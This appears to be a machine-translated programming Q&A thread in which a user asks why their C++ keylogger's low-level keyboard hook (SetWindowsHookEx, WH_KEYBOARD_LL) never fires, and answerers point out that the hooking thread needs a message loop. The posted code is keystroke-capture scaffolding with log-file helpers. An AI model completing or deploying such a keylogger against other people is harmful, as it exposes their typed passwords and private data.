2016-05-23 76 views
-2

我試圖建立自己的鍵盤記錄(私人/教育)來擴展我的技能。 我開始研究鉤子,在這種情況下是KBDLLHOOKSTRUCT。KBDLL掛鉤問題

我不知道這有什麼錯我的代碼,但它不工作。 我要做的就是:

  • 與N-代碼,wParam和lParam加一回CallNextHookEx方法創建回調函數。

  • 我設置在HHOOK的函數調用SetWindowsHookEx處理,把在一個無限循環。我的KBDLLHOOKSTRUCT設置爲* lParam,因爲lParam是一個指向包含我想要的信息的KBDLLHOOKSTRUCT的指針,對吧?

我的代碼:

#include <windows.h> 
#include <iostream> 
#include <fstream> 
#include <string> 

HHOOK hookHandle; 
KBDLLHOOKSTRUCT hookData; 

LRESULT CALLBACK LowLevelKeyboardProc(int nC, WPARAM wP, LPARAM lP); 
std::string readLogs(); 
void writeLogs(std::string logs); 

int main() 
{ 
    hookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0); 
    while(true) { 

     Sleep(1000); 
    } 
    return 0; 
} 

std::string readLogs() { 
    std::ifstream readFile; 
    readFile.open("logs.txt"); 
    std::string logs; 
    readFile >> logs; 
    return logs; 
} 

void writeLogs(std::string logs) { 
    std::string oLogs = readLogs(); 
    std::ofstream writeFile; 
    writeFile.open("logs.txt"); 
    writeFile << oLogs + logs; 
} 

LRESULT CALLBACK LowLevelKeyboardProc(int nC, WPARAM wP, LPARAM lP) { 
    if (nC >= 0) { 
     if (wP == WM_KEYDOWN) { 
      hookData = *((KBDLLHOOKSTRUCT*)lP); 
     } 
    } 
    return CallNextHookEx(hookHandle, nC, wP, lP); 
} 

就忽略readLogs()和writeLogs()。

我認爲問題出在:

hookData = *((KBDLLHOOKSTRUCT*)lP); 

但是,情況並非如此明顯,因爲INT x的一個簡單的增量並沒有發生。

因此我來這裏尋求幫助。我能做些什麼來解決我的問題?

+0

這哪裏是所謂的x的增量? –

+0

[原始輸入](https://msdn.microsoft.com/en-us/library/windows/desktop/ms645543.aspx) – theB

+0

@EricBrown Here you go:http://pastebin.com/pSQ3mSs1 – Flinzy

回答

2

您需要閱讀文檔。直接從LowLevelKeyboardProc

此鉤子在安裝它的線程的上下文中調用。該調用是通過向安裝該鉤子的線程發送消息來完成的。 因此,安裝該鉤子的線程必須有一個消息循環。

+0

謝謝你你的迴應。你能否指出我的方向?我已將while(true){}循環更改爲消息循環,但只有在向回調函數添加消息框時才起作用。而且我寧願在每個密鑰後都沒有彈出消息框。我可以使用什麼不同種類的'信息'?我試過SendMessage(HWND_BROADCAST,NULL,WP,LP)但沒有任何反應。 – Flinzy

+0

@Flinzy:你需要的只是一個標準的消息循環(沒有任何過濾器)。有關示例,請參見[使用消息和消息隊列](https://msdn.microsoft.com/zh-cn/library/windows/desktop/ms644928.aspx)。 – IInspectable